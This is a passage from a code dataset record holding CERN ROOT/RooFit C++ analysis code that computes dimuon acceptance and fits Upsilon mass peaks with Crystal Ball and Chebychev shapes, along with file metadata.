smuacc_tight(sqrt(pow(GenmuPosPx,2)+pow(GenmuPosPy,2)),GenmuPosEta,sqrt(pow(GenmuNegPx,2)+pow(GenmuNegPy,2)),GenmuNegEta)))\n {\n num_pt_NS[ibin] += weight;\n numerr_pt_NS[ibin] += weight*weight;\n }\n }\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n if (ibin!=0 && (GenJpsiRapP<rapbins_NS[ibin-1] || GenJpsiRapP>rapbins_NS[ibin])) continue;\n den_rap_NS[ibin] += weight;\n denerr_rap_NS[ibin] += weight*weight;\n if ((YS==1 && smuacc_loose(sqrt(pow(GenmuPosPx,2)+pow(GenmuPosPy,2)),GenmuPosEta,sqrt(pow(GenmuNegPx,2)+pow(GenmuNegPy,2)),GenmuNegEta)) || \n (YS!=1 && smuacc_tight(sqrt(pow(GenmuPosPx,2)+pow(GenmuPosPy,2)),GenmuPosEta,sqrt(pow(GenmuNegPx,2)+pow(GenmuNegPy,2)),GenmuNegEta)))\n {\n num_rap_NS[ibin] += weight;\n numerr_rap_NS[ibin] += weight*weight;\n }\n }\n\n\n }\n\n // update errors\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++) \n {\n numerr_pt_NS[ibin] = sqrt(numerr_pt_NS[ibin]);\n denerr_pt_NS[ibin] = sqrt(denerr_pt_NS[ibin]);\n }\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++) \n {\n numerr_rap_NS[ibin] = sqrt(numerr_rap_NS[ibin]);\n denerr_rap_NS[ibin] = sqrt(denerr_rap_NS[ibin]);\n }\n\n\n // print results\n cout << endl << \"pt\" << endl;\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? ptbins_NS[0] : ptbins_NS[ibin-1];\n double binmax = (ibin==0) ? ptbins_NS[NPTNS] : ptbins_NS[ibin];\n double val = num_pt_NS[ibin]/den_pt_NS[ibin];\n double err = RError(num_pt_NS[ibin],numerr_pt_NS[ibin],den_pt_NS[ibin],denerr_pt_NS[ibin]);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << endl;\n if (ibin>0) \n {\n haccpt->SetBinContent(ibin,val);\n haccpt->SetBinError(ibin,err);\n }\n }\n cout << endl << \"rapidity\" << endl;\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n double binmin = (ibin==0) ? rapbins_NS[0] : rapbins_NS[ibin-1];\n double binmax = (ibin==0) ? rapbins_NS[NRAPNS] : rapbins_NS[ibin];\n double val = num_rap_NS[ibin]/den_rap_NS[ibin];\n double err = RError(num_rap_NS[ibin],numerr_rap_NS[ibin],den_rap_NS[ibin],denerr_rap_NS[ibin]);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << endl;\n if (ibin>0) \n {\n haccrap->SetBinContent(ibin,val);\n haccrap->SetBinError(ibin,err);\n }\n }\n\n f->Write(); f->Close();\n}\n\nbool acceptance::smuacc_loose(double pt1, double eta1, double pt2, double eta2)\n{\n if (fabs(eta1)>2.4 || fabs(eta2)>2.4) return false;\n if (pt1>3.5 && pt2>4) return true;\n if (pt2>3.5 && pt1>4) return true;\n return false;\n}\n\nbool acceptance::smuacc_tight(double pt1, double eta1, double pt2, double eta2)\n{\n if (fabs(eta1)>2.4 || fabs(eta2)>2.4) return false;\n if (pt1>4 && pt2>4) return true;\n return false;\n}\n\ndouble acceptance::weight_shape(double pt, int YS)\n{\n double shapeweight=1.;\n if(YS==1) shapeweight = 0.766 + 0.053*pt;\n if(YS==2) shapeweight = 0.377 + 0.148*pt;\n if(YS==3) shapeweight = 0.932 + 0.00745*pt;\n return shapeweight;\n}\n\n//Ratio Error\ndouble acceptance::RError(double A, double eA, double B, double eB){\n double f=A/B;\n double fA=eA/A;\n double fB=eB/B;\n double eR= f*sqrt( (fA*fA + fB*fB )) ;\n return eR;\n}\n\n\n//Product Error\ndouble acceptance::PError(double A, double eA, double B, double eB){\n double f=A*B;\n double fA=eA/A;\n double fB=eB/B;\n double eR= f*sqrt( (fA*fA + fB*fB )) ;\n return eR;\n}\n" }, { "alpha_fraction": 0.5738001465797424, "alphanum_fraction": 0.6204925775527954, "avg_line_length": 45.83858108520508, "blob_id": "489b1b89398915ac7d555278520fcbbbe5e5bbca", "content_id": "94684580f1da6df2af10000fd59f594dc56e714c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 23794, "license_type": "no_license", "max_line_length": 434, "num_lines": 508, "path": "/fitting/fitBinnedHistograms.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef __CINT__\n#include \"RooGlobalFunc.h\"\n#endif\n\n#include \"RooAbsPdf.h\"\n#include \"RooAddPdf.h\"\n#include \"RooCBShape.h\"\n#include \"RooChebychev.h\"\n#include \"RooConstVar.h\"\n#include \"RooDataSet.h\"\n#include \"RooFitResult.h\"\n#include \"RooGaussian.h\"\n#include \"RooGenericPdf.h\"\n#include \"RooHist.h\"\n#include \"RooHistPdf.h\"\n#include \"RooDataHist.h\"\n#include \"RooKeysPdf.h\"\n#include \"RooProdPdf.h\"\n#include \"RooMCStudy.h\"\n#include \"RooPolynomial.h\"\n#include \"RooRealVar.h\"\n#include \"RooPlot.h\"\n#include \"RooWorkspace.h\"\n#include \"RooChi2Var.h\"\n\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/ProfileLikelihoodCalculator.h\"\n#include \"RooStats/LikelihoodInterval.h\"\n#include \"RooStats/LikelihoodIntervalPlot.h\"\n\n// Root stuff\n#include \"TROOT.h\"\n#include \"TAxis.h\"\n#include \"TCanvas.h\"\n#include \"TDirectory.h\"\n#include \"TFile.h\"\n#include \"TLatex.h\"\n\n#include \"TMath.h\"\n#include \"TPaveLabel.h\"\n#include \"TPaveText.h\"\n#include \"TStyle.h\"\n#include \"TText.h\"\n\n\n//bkgtable\n#include \"bkgTableFSR.h\"\n#include \"dataTable.h\"\n// miscellaneous \n#include <fstream>\n#include <new>\n#include <iostream>\ndouble mass_l = 8.;\ndouble mass_h = 10.;\ndouble binw = 0.01; //bin width of the histogram\n\nconst int nData = 2;\nconst char* choseSampleLegend[nData] = {\"PYTHIA\",\n\t\t\t\t\t\"PYTHIA+HYDJET\"}; //CMS simulation, pp #sqrt{s} = 2.76 TeV\n\nconst char* choseSampleLumi[nData] = {\"\",\n\t\t\t\t \"\"};\n\n// -------- make some local picks\nbool doMinos = true; //kFALSE;\nbool chisquare = false; // default false: do NLL instead. works as long as you're not in extended likelihood mode.\nusing namespace std;\nusing namespace RooFit;\nusing namespace RooStats;\n\nvoid fitBinnedHistograms(int choseSample = 1, //Input data sample. 1: pyquen 1S, 2: 2Spyquen\n\t\t\t int choseFitParams = 0, //0: (1s, 2s, 3s) 1: (1s, 2s/1s; 3s/1s); 2: (1S, (2s+3s)/1s) //dropped\n\t\t\t int bkgdModel = 0, //0: Nothing; 1:LS erf*exp + pol2; 2:LS RookeyPdf + pol2; 3:erf*exp; 4:pol2; 5:erf*exp+pol2 6:pol3\n\t\t\t int fixFSR = 0,\n\t\t\t int fixSigma1 = 0, // 0 free; 1: fix\n\t\t\t int centralityMin = 0,\n\t\t\t int centralityMax = 40,\n\t\t\t float muonEtaMin = -1.6,\n\t\t\t float muonEtaMax = 1.6, \n\t\t\t float dimuPtMin = 0., \n\t\t\t float dimuPtMax = 100,\n\t\t\t double muonpTcut1 = 3.5, //single muon pT cut\n\t\t\t double muonpTcut2 = 4, //1 should always be lower than 2!\n\t\t\t bool plotBkg = 0, //0: hide LS or trkRot; 1: plot LS or trkRot data points and fit lines;\n\t\t\t bool doTrkRot = 0, //0: use LS; 1: use track rotation\n\t\t\t bool doConstrainFit = 0, //1: use constrain method\n\t\t\t int useRef = 0, // # 0 none 1: data, 2: MC, 3: old\n\t\t\t bool plotpars = 1, //1: plot parameters; 0: plot CMS label\n\t\t\t const char* choseSampleCase = \"Pyquen\", //\n\t\t\t const char* outFigsDir = \"pdfOutput/Syst_sig/08102014_pyquen/\",// figs dir outfile location\n\t\t\t TString outDatsDir = \"txtOutput\",// dats dir outfile location\n\t\t\t const char* outFilePrefix = \"MCpars\", // yields, ratios\n\t\t\t bool narrowMass = false,\n\t\t\t float dimuYMin = 0.0,\n\t\t\t float dimuYMax = 100,\n\t\t\t bool isHI =1,\n\t\t\t int signalModel =4,\n\t\t\t int doRap=1,\n\t\t\t int doPt=1){\n int doCent=0;\n if(!doPt && !doRap) doCent=1;\n\n cout << \"hi,\"<<endl;\n cout<< \"check the variable names!! \" << endl;\n cout << \"you're tryin to bin, ya sucker!\"<<endl; \n cout<< \"-----------------------------------\"<<endl; \n cout << \"don't get spastic now, chill!\"<<endl;\n gROOT->Macro(\"cm/logon.C+\");\n // input files\n std::string finput;\n double muonPtCut_min1 = muonpTcut1;\n double muonPtCut_min2 = muonpTcut2;\n switch (choseSample) \n {\n case 0:\n finput =\"../dimuonTree_upsiMiniTree_pp2p76tev_Pythia1S_WithIDCut_GlbGlb_RunHIN-15-001_trigBit2_allTriggers0.root\";\n cout << \"Pythia 1S !!!\" << endl;\n break;\n case 1:\n // finput = \"~/Project/ups2013/upsiMiniTree_Pyquen1S_QQtrigbit1_Trig_Unfolding_postCut_deltaRmatched_withCentrality.root\";\n finput = \"../dimuonTree_upsiMiniTree_AA2p76tev_Pyquen1S_WithIDCut_GlbGlb_RunHIN-15-001_trigBit1_allTriggers0.root\";\n cout << \"Pyquen 1S !!!\" << endl;\n break;\n default: break;\n }\n\n bool scanLL =true;\n TString figsDir(Form(\"%s\",outFigsDir)); //output fig location\n \n // if param are on, this gets filled in the naming\n TString paramOn_(\"\");\n // kinematic cuts:\n double muonEtaCut_min = muonEtaMin;\n double muonEtaCut_max = muonEtaMax; \n double upsYCut_min = -2.4;\n double upsYCut_max = 2.4;\n int whatBin;\n if(doRap){\n whatBin=8;\n if(dimuYMin ==0. && dimuYMax==0.4) {whatBin=0;}\t\n if(dimuYMin ==0.4 && dimuYMax==0.8) {whatBin=1;}\t\n if(dimuYMin ==0.8 && dimuYMax==1.2) {whatBin=2;}\t\n if(dimuYMin ==1.2 && dimuYMax==1.6) {whatBin=3;}\t\n if(dimuYMin ==1.6 && dimuYMax==2.0) {whatBin=4;}\n if(dimuYMin ==2.0 && dimuYMax==2.4) {whatBin=5;}\n if(dimuYMin ==0.0 && dimuYMax==1.2) {whatBin=6;}\n if(dimuYMin==1.2 && dimuYMax==2.4) {whatBin=7;}\n }\n if(doPt){\n whatBin=9;\n if(dimuPtMin == 0. && dimuPtMax ==2.5) {whatBin=0;}\t\n if(dimuPtMin == 2.5 && dimuPtMax ==5.) {whatBin=1;}\t\n if(dimuPtMin == 5. && dimuPtMax == 8.) {whatBin=2;}\t\n if(dimuPtMin == 8 && dimuPtMax ==12) {whatBin=3;}\t\n if(dimuPtMin == 12 && dimuPtMax ==20) {whatBin=4;}\n if(dimuPtMin == 20 && dimuPtMax ==50) {whatBin=5;}\n if(dimuPtMin == 0. && dimuPtMax ==6.5) {whatBin=6;}\n if(dimuPtMin == 6.5 && dimuPtMax ==10) {whatBin=7;}\n if(dimuPtMin == 10 && dimuPtMax ==20) {whatBin=8;}\n }\n if(doCent){\n if(centralityMin==0 && centralityMax==2) {whatBin=0;}\n if(centralityMin==2 && centralityMax==4) {whatBin=1;}\n if(centralityMin==4 && centralityMax==8) {whatBin=2;}\n if(centralityMin==8 && centralityMax==12) {whatBin=3;}\n if(centralityMin==12 && centralityMax==16) {whatBin=4;}\n if(centralityMin==16 && centralityMax==20) {whatBin=5;}\n if(centralityMin==20 && centralityMax==28) {whatBin=6;}\n if(centralityMin==28 && centralityMax==40) {whatBin=7;}\n if(centralityMin==20 && centralityMax==40) {whatBin=13;}\n }\n cout<< whatBin << endl;\n cout << \"been there\" << endl;\n int centrality_max = centralityMax; /// \n int centrality_min = centralityMin; \n TString cut_ap(Form(\" (%.2f<muPlusEta && muPlusEta < %.2f) && (%.2f<muMinusEta && muMinusEta < %.2f) && (%.2f<upsPt && upsPt<%.2f) && (abs(upsRapidity)<%.2f && abs(upsRapidity)>%.2f) &&((muPlusPt > %.2f && muMinusPt > %.2f) || (muPlusPt > %.2f && muMinusPt > %.2f))\",muonEtaCut_min,muonEtaCut_max,muonEtaCut_min,muonEtaCut_max,dimuPtMin,dimuPtMax,dimuYMax,dimuYMin,muonPtCut_min1,muonPtCut_min2,muonPtCut_min2,muonPtCut_min1));\n \n\n int centMin = centrality_min;\n int centMax = centrality_max;\n if (centralityMin==28) binw=0.05;\n \n if(choseSample==1){\n centMin = (int)(centrality_min*2.5);\n centMax = (int)(centrality_max*2.5);\n }\n TString figName_(Form(\"%s_%s_cent%d-%d_bkgModel%d_sigModel%d_muonEta%.2f%.2f_muonPt%.2f-%.2f_dimuPt%.2f%.2f_dimuY%.2f%.2f_trkRot%d_constrain%d_fsr%d_sigma%d_ref%d\",\n\t\t\t outFilePrefix,choseSampleCase,centMin,centMax,\n\t\t\t bkgdModel, signalModel , muonEtaCut_min,muonEtaCut_max,muonPtCut_min1,muonPtCut_min2,dimuPtMin,dimuPtMax,dimuYMin,dimuYMax,doTrkRot,doConstrainFit,fixFSR,fixSigma1,useRef));\n figName_.ReplaceAll(\"-\",\"M\");\n figName_.ReplaceAll(\".\",\"\");\n \n cout<<\"Fitting: Pt[\"<< dimuPtMin <<\",\"<< dimuPtMax <<\"] , muPt > [\"<< muonPtCut_min1<<\",\"<<muonPtCut_min2<<\"] and centrality [\"<<centrality_min<<\",\"<<centrality_max<<\"]!!!!\"<<endl;\n cout << \"oniafitter processing\"\n\t << \"\\n\\tInput: \\t\" << finput\n\t << \"\\n\\tOutput: \\t\" << figName_\n\t << endl;\n // ----------- \n TFile *f = new TFile(finput.c_str());\n TTree* theTree = (TTree*)gROOT->FindObject(\"UpsilonTree\"); // OS --- all mass\n RooRealVar* mass = new RooRealVar(\"invariantMass\",\"#mu#mu mass\",mass_l,mass_h,\"GeV/c^{2}\");\n RooRealVar* upsPt = new RooRealVar(\"upsPt\",\"p_{T}(#Upsilon)\",0,200,\"GeV\");\n // RooRealVar* upsEta = new RooRealVar(\"upsEta\", \"upsEta\" ,-10,10);\n RooRealVar* upsRapidity= new RooRealVar(\"upsRapidity\", \"upsRapidity\",-1000, 1000);\n RooRealVar* vProb = new RooRealVar(\"_VtxProb\", \"vProb\" ,0.01,1.00);\n // RooRealVar* QQsign = new RooRealVar(\"QQsign\", \"QQsign\" ,-1,5);\n RooRealVar* Centrality = new RooRealVar(\"Centrality\",\"Centrality\",0,100);\n RooRealVar* upsPt_gen= new RooRealVar(\"upsPt_gen\",\"p_{T}(#Upsilon^{GEN})\",0,200,\"GeV/c\");\n RooRealVar* muPlusPt_gen = new RooRealVar(\"muPlusPt_gen\",\"muPlusPt_gen\",muonPtCut_min1,100);\n RooRealVar* muMinusPt_gen = new RooRealVar(\"muMinusPt_gen\",\"muMinusPt_gen\",muonPtCut_min1,100);\n RooRealVar* muPlusEta_gen = new RooRealVar(\"muPlusEta_gen\",\"muPlusEta_gen\", -2.4,2.4);\n RooRealVar* muMinusEta_gen = new RooRealVar(\"muMinusEta_gen\",\"muMinusEta_gen\",-2.4,2.4);\n RooRealVar* muPlusPt = new RooRealVar(\"muPlusPt\",\"muPlusPt\",muonPtCut_min1,100);\n RooRealVar* muMinusPt = new RooRealVar(\"muMinusPt\",\"muMinusPt\",muonPtCut_min1,100);\n RooRealVar* muPlusEta = new RooRealVar(\"muPlusEta\",\"muPlusEta\", -2.4,2.4);\n RooRealVar* muMinusEta = new RooRealVar(\"muMinusEta\",\"muMinusEta\",-2.4,2.4);\n RooDataSet *data0 = new RooDataSet(\"data0\",\"data0\",theTree,\n\t\t\t\t RooArgSet(*mass,*upsPt,*muPlusPt,*muMinusPt,*muPlusEta,*muMinusEta,*upsRapidity,*upsPt_gen,*Centrality));\n RooDataSet *redData;\n // RooDataSet *tmp;\n if (choseSample==1){\n RooFormulaVar wFunc(\"w\",\"event weight\",\"upsPt_gen>40?0:(upsPt_gen>15.0?(0.0877039/107560.0):(upsPt_gen>12?(0.0977067/117270.0):(upsPt_gen>9?(0.169418/162777.0):(upsPt_gen>6?(0.430737/172165.0):(upsPt_gen>3?(1.1129191/171048.0):(1.0/172208.0))))))\",*upsPt_gen);\n RooRealVar *w = (RooRealVar*) data0->addColumn(wFunc);\n }\n else if (choseSample==0){\n RooFormulaVar wFunc(\"w\",\"event weight\",\"upsPt_gen>40?0:1\",*upsPt_gen);\n RooRealVar *w = (RooRealVar*) data0->addColumn(wFunc);\n }\n data0->Print();\n redData = new RooDataSet(data0->GetName(),data0->GetTitle(),data0,*data0->get(),cut_ap,w->GetName());\n // for weighting \n redData->SetName(\"redData\");\n cout << \"koko...\" << endl;\n redData->Print();\n // RooDataSet *data = ( RooDataSet*)redData;\n // data->SetName(\"data\");\n // data->Print(\"v\");\n\n // *************************************************** signal PDF\n const double M1S = 9.46; //upsilon 1S pgd mass value\n const double M2S = 10.023; //upsilon 2S pgd mass value\n const double M3S = 10.355; //upsilon 3S pgd mass value\n\n // *************************************************** free param in the fit\n int nt = 10000;\n int nt = redData->sumEntries();\n if(isHI==1 && choseSample==1){ RooRealVar *nsig1f = new RooRealVar(\"N_{#Upsilon(1S)}\",\"nsig1S\",0,nt);\n }else{ RooRealVar *nsig1f = new RooRealVar(\"N_{#Upsilon(1S)}\",\"nsig1S\",0,nt*10);\n RooRealVar *nsig2f = new RooRealVar(\"N_{#Upsilon(2S)}\",\"nsig2S\", nt*0.25,-1*nt,10*nt);\n RooRealVar *nsig3f = new RooRealVar(\"N_{#Upsilon(3S)}\",\"nsig3S\", nt*0.25,-1*nt,10*nt);\n } \n RooRealVar *mean = new RooRealVar(\"mass1S\",\"#Upsilon mean\",M1S,M1S-0.1,M1S+0.1);\n RooConstVar *rat2 = new RooConstVar(\"rat2\", \"rat2\", M2S/M1S);\n RooConstVar *rat3 = new RooConstVar(\"rat3\", \"rat3\", M3S/M1S);\n // scale mean and resolution by mass ratio\n RooFormulaVar *mean1S = new RooFormulaVar(\"mean1S\",\"@0\",RooArgList(*mean));\n RooFormulaVar *mean2S = new RooFormulaVar(\"mean2S\",\"@0*@1\", RooArgList(*mean,*rat2));\n RooFormulaVar *mean3S = new RooFormulaVar(\"mean3S\",\"@0*@1\", RooArgList(*mean,*rat3));\n \n //detector resolution ?? where is this coming from?\n RooRealVar *sigma1 = new RooRealVar(\"#sigma_{CB1}\",\"#sigma_{CB1}\",sigma_min[whatBin],sigma_max[whatBin]); // \n RooFormulaVar *sigma1S = new RooFormulaVar(\"sigma1S\",\"@0\" ,RooArgList(*sigma1));\n RooFormulaVar *sigma2S = new RooFormulaVar(\"sigma2S\",\"@0*@1\",RooArgList(*sigma1,*rat2));\n RooFormulaVar *sigma3S = new RooFormulaVar(\"sigma3S\",\"@0*@1\",RooArgList(*sigma1,*rat3));\n RooRealVar *alpha = new RooRealVar(\"#alpha_{CB}\",\"tail shift\",alpha_min[whatBin],alpha_max[whatBin]); // MC 5tev 1S pol2 \n RooRealVar *npow = new RooRealVar(\"npow\",\"power order\",npow_min[whatBin],120); // MC 5tev 1S pol2 \n RooRealVar *sigmaFraction = new RooRealVar(\"sigmaFraction\",\"Sigma Fraction\",0.,1.);\n // scale the sigmaGaus with sigma1S*scale=sigmaGaus now.\n RooRealVar *scaleWidth = new RooRealVar(\"#sigma_{CB2}/#sigma_{CB1}\",\"scaleWidth\",1.,2.7);\n RooFormulaVar *sigmaGaus = new RooFormulaVar(\"sigmaGaus\",\"@0*@1\", RooArgList(*sigma1,*scaleWidth));\n RooFormulaVar *sigmaGaus2 = new RooFormulaVar(\"sigmaGaus\",\"@0*@1*@2\", RooArgList(*sigma1,*scaleWidth,*rat2));\n RooFormulaVar *sigmaGaus3 = new RooFormulaVar(\"sigmaGaus\",\"@0*@1*@2\", RooArgList(*sigma1,*scaleWidth,*rat3));\n RooGaussian* gauss1 = new RooGaussian(\"gaus1s\",\"gaus1s\",\n\t\t\t\t\t *nsig1f,\n\t\t\t\t\t *mass, //mean\n\t\t\t\t\t *sigmaGaus); //sigma\n RooGaussian* gauss1b = new RooGaussian(\"gaus1sb\",\"gaus1sb\",\n\t\t\t\t\t *nsig1f,\n\t\t\t\t\t *mass, //mean\n\t\t\t\t\t *sigma1); //sigma\n cout << signalModel << \"^th model\" << endl;\n switch(signalModel){ \n case 1: //crystal boule\n RooCBShape *sig1S = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n break;\n case 2: //Gaussein\n RooAbsPdf *sig1S = new RooGaussian (\"g1\", \"gaus 1s\",\n\t\t\t\t\t\t*mass,*mean1S,*sigma1);\n break;\n case 3: //Gaussein + crystal boule\n RooCBShape *cb1S_1 = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n RooAddPdf *sig1S = new RooAddPdf (\"cbg\", \"cbgaus 1s\",\n\t\t\t\t\t RooArgList(*gauss1,*cb1S_1),*sigmaFraction);\n break;\n case 4: //crystal boules\n RooCBShape *cb1S_1 = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n \n RooCBShape *cb1S_2 = new RooCBShape (\"cb1S_2\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigmaGaus,*alpha,*npow);\n RooAddPdf *sig1S = new RooAddPdf (\"cbcb\",\"1S mass pdf\",\n\t\t\t\t\t RooArgList(*cb1S_1,*cb1S_2),*sigmaFraction);\n // /// Upsilon 2S\n RooCBShape *cb2S_1 = new RooCBShape (\"cb2S_1\", \"FSR cb 2s\", \n\t\t\t\t\t *mass,*mean2S,*sigma2S,*alpha,*npow); \n RooCBShape *cb2S_2 = new RooCBShape (\"cb2S_2\", \"FSR cb 2s\", \n\t\t\t\t\t *mass,*mean2S,*sigmaGaus2,*alpha,*npow); \n RooAddPdf *sig2S = new RooAddPdf (\"sig2S\",\"2S mass pdf\",\n\t\t\t\t\t RooArgList(*cb2S_1,*cb2S_2),*sigmaFraction);\n \n // /// Upsilon 3S\n RooCBShape *cb3S_1 = new RooCBShape (\"cb3S_1\", \"FSR cb 3s\", \n\t\t\t\t\t *mass,*mean3S,*sigma3S,*alpha,*npow); \n RooCBShape *cb3S_2 = new RooCBShape (\"cb3S_2\", \"FSR cb 3s\", \n\t\t\t\t\t *mass,*mean3S,*sigmaGaus3,*alpha,*npow); \n RooAddPdf *sig3S = new RooAddPdf (\"sig3S\",\"3S mass pdf\",\n\t\t\t\t\t RooArgList(*cb3S_1,*cb3S_2),*sigmaFraction); // = cb3S1*sigmaFrac + cb3S2*(1-sigmaFrac)\n break;\n \n case 5: //deux Gausseins\n RooAddPdf *sig1S = new RooAddPdf (\"cb1S_1\", \"cbgaus 1s\",\n\t\t\t\t\t RooArgList(*gauss1,*gauss1b),*sigmaFraction);\n \n break;\n }\n // bkg Chebychev\n RooRealVar *nbkgd = new RooRealVar(\"n_{Bkgd}\",\"nbkgd\",0,nt);\n RooRealVar *bkg_a1 = new RooRealVar(\"a1_bkg\", \"bkg_{a1}\", 0, -1, 1);\n RooRealVar *bkg_a2 = new RooRealVar(\"a2_Bkg\", \"bkg_{a2}\", 0, -1, 1);\n RooRealVar *bkg_a3 = new RooRealVar(\"a3_Bkg\", \"bkg_{a3}\", 0, -2, 2);\n RooAbsPdf *pdf_combinedbkgd = new RooChebychev(\"bkgPdf\",\"bkgPdf\",\n\t\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2));\n bkg_a2->setVal(0);\n bkg_a2->setConstant();\n bkg_a1->setVal(0);\n bkg_a1->setConstant();\n\n RooRealVar *bkgdFraction = new RooRealVar(\"bkgdFrac\",\"Background normalisation\",0.001,0,1);\n //fitted histo\n int nbins = ceil((mass_h-mass_l)/binw); \n TH1D *MReco;\n MReco = new TH1D(\"MReco\",\"Reco di-muon mass\",nbins,mass_l,mass_h);\n MReco = (TH1D*) redData->createHistogram(\"invariantMass\",*mass);\n MReco->SetBinErrorOption(TH1::kPoisson);\n cout << \"kokomo\" << endl;\n RooDataHist binnedData (\"binnedData\",\"binnedData\",*mass,Import(*MReco));\n binnedData.Print(\"v\"); \n RooFitResult *fit_2nd; \n RooAbsPdf *pdf = new RooAddPdf (\"pdf\",\"total p.d.f.\",\n\t\t\t\t\t\t RooArgList(*pdf_combinedbkgd,*sig1S),\n \t\t\t\t\t\t *bkgdFraction);\n if(chisquare){\n //chi2 of a binned dataset.\n RooChi2Var chi2(\"chi2\",\"chi2\",*sig1S,binnedData,SumW2Error(kTRUE)) ;\n RooMinuit m(chi2) ;\n m.migrad() ;\n m.hesse() ;\n //m.minos();\n fit_2nd= (RooFitResult*) m.save();\n }\n else{\n // NLL fit\n RooAbsReal* nll = pdf->createNLL(binnedData,NumCPU(4)) ;\n RooMinuit(*nll).migrad();\n RooMinuit(*nll).hesse();\n fit_2nd = pdf->fitTo(binnedData,Extended(0),Minos(0),Save(1),SumW2Error(kTRUE),NumCPU(4));\n }\n //for the plots!\n RooPlot* frame = mass->frame(Bins(nbins),Range(mass_l,mass_h));\n binnedData.plotOn(frame,DataError(RooAbsData::SumW2),Name(\"theData\"),MarkerSize(0.8));\n pdf->plotOn(frame,Components(\"cb1S_1\"),Name(\"TheFirstCB\"),LineColor(kTeal)); \n pdf->plotOn(frame,Components(\"cb1S_2\"),Name(\"TheSecondCB\"),LineColor(kOrange)); \n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"TheBackground\"),LineColor(kDashed)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(kBlue)); \n\n RooArgSet * pars = pdf->getParameters(binnedData);\n //plot data\n TCanvas c; c.cd();\n binnedData.plotOn(frame,Name(\"theData\"),MarkerSize(0.8)); \n pdf->plotOn(frame,Components(\"cb1S_1\"),Name(\"TheFirstCB\"),LineColor(kTeal)); \n pdf->plotOn(frame,Components(\"cb1S_2\"),Name(\"TheSecondCB\"),LineColor(kOrange)); \n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"TheBackground\"),LineColor(kDashed)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(kBlue)); \n frame->SetTitle(\"\");\n frame->GetXaxis()->SetTitle(\"m_{#mu^{+}#mu^{-}} (GeV/c^{2})\");\n frame->GetXaxis()->CenterTitle(kTRUE);\n frame->GetYaxis()->SetTitleOffset(1.3);\n if(choseSample==0){frame->GetYaxis()->SetRangeUser(1,1e5);}\n else {frame->GetYaxis()->SetRangeUser(1e-2,1);}\n frame->Draw();\n c.Draw();\n c.SaveAs(figsDir+figName_+paramOn_+\".pdf\");\n fit_2nd->Print(\"v\");\n int ibin = 102;\n double err_low = MReco->GetBinErrorLow(ibin);\n double err_up = MReco->GetBinErrorUp(ibin);\n cout<<err_low <<endl;\n cout <<\"crazy\"<<endl;\n cout<<err_up<<endl;\n TCanvas cm(\"cm\",\"cm\");\n cm.cd();\n TLatex latex1;\n latex1.SetNDC();\n TPad *pPad1 = new TPad(\"pPad1\",\"pPad1\",0.01,0.3-0.03,0.96,0.92);\n pPad1->SetBottomMargin(0.03);\n TPad *pPad2 = new TPad(\"pPad2\",\"pPad2\",0.05,0.05,1,0.3);\n pPad2->SetTopMargin(0.0);\n pPad2->SetBottomMargin(-0.1);\n if(choseSample==1) frame->SetMinimum(0.00001);\n pPad1->SetLogy();\n // pPad2->SetBottomMargin(gStyle->GetPadBottomMargin()/0.3);\n // pPad1->SetTopMargin(gStyle->GetPadTopMargin()/0.7);\n pPad1->Draw();\n pPad1->cd();\n // sig1S->paramOn(frame,Layout(0.12,0.5,0.38));\n pPad1->Update();\n frame->Draw();\n latex1.SetTextSize(0.032);\n latex1.DrawLatex(0.15,1.-0.05*1.8,Form(\"%s\",choseSampleLegend[choseSample]));\n latex1.DrawLatex(0.15,1.-0.05*4.5,Form(\"%.2f < |y| < %.2f\",dimuYMin,dimuYMax)); \n latex1.DrawLatex(0.15,1.-0.05*5.5,Form(\"%.1f < p_{T}^{#Upsilon} < %.1f\",dimuPtMin,dimuPtMax));\n latex1.DrawLatex(0.15,1.-0.05*6.5,Form(\"p_{T}^{#mu1} > %.1f GeV/c\",muonPtCut_min1));\n latex1.DrawLatex(0.15,1.-0.05*7.5,Form(\"p_{T}^{#mu2} > %.1f GeV/c\",muonPtCut_min2));\n\n latex1.DrawLatex(0.78,1.-0.05*3.5,Form(\"n_{CB} = %.2f\",npow->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*4.5,Form(\"#alpha_{CB} = %.2f\",alpha->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*5.5,Form(\"#sigma_{CB1} = %.2f\",sigma1->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*6.5,Form(\"#sigma_{CB2}/#sigma_{CB1} = %.2f\",scaleWidth->getVal()));\n latex1.DrawLatex(0.72,1.-0.05*7.5,Form(\"normalisation = %.2f\",sigmaFraction->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*8.5,Form(\"m_{0} = %.3f\",mean1S->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*9.5,Form(\"Bkg_{frac} = %.3f\",bkgdFraction->getVal()));\n cm.cd(0);\n TPad *pPad2 = new TPad(\"pPad2\",\"pPad2\",0.01,0.05,0.96,0.29);\n pPad2->SetTopMargin(0.0);\n pPad2->SetBottomMargin(-0.1);\n pPad2->Draw();\n pPad2->cd();\n double chi2FromRoo = frame->chiSquare(fit_2nd->floatParsFinal().getSize());\n cout<<\"!!!!!!!! chi2 from 